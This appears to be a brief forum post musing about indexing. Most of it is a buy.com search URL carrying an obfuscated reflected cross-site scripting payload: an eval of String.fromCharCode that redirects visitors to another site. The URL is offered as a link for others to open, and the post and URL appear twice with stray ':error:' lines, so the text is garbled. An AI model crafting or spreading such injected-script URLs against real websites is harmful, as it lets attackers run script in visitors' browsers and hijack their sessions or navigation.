I wonder how this affects indexing.
Check out how obnoxious these urls are:
http://www.buy.com/retail/searchresults.asp?qu=%27%29%3Beval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,32,61,32,39,104,116,116,112,58,47,47,119,119,119,46,105,110,116,101,114,110,101,116,105,115,115,101,114,105,111,117,115,98,117,115,105,110,101,115,115,46,99,111,109,47,39))%3B%2F%2F&queryType=home
:error:
Check out how obnoxious these urls are:
http://www.buy.com/retail/searchresults.asp?qu=%27%29%3Beval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,32,61,32,39,104,116,116,112,58,47,47,119,119,119,46,105,110,116,101,114,110,101,116,105,115,115,101,114,105,111,117,115,98,117,115,105,110,101,115,115,46,99,111,109,47,39))%3B%2F%2F&queryType=home
:error: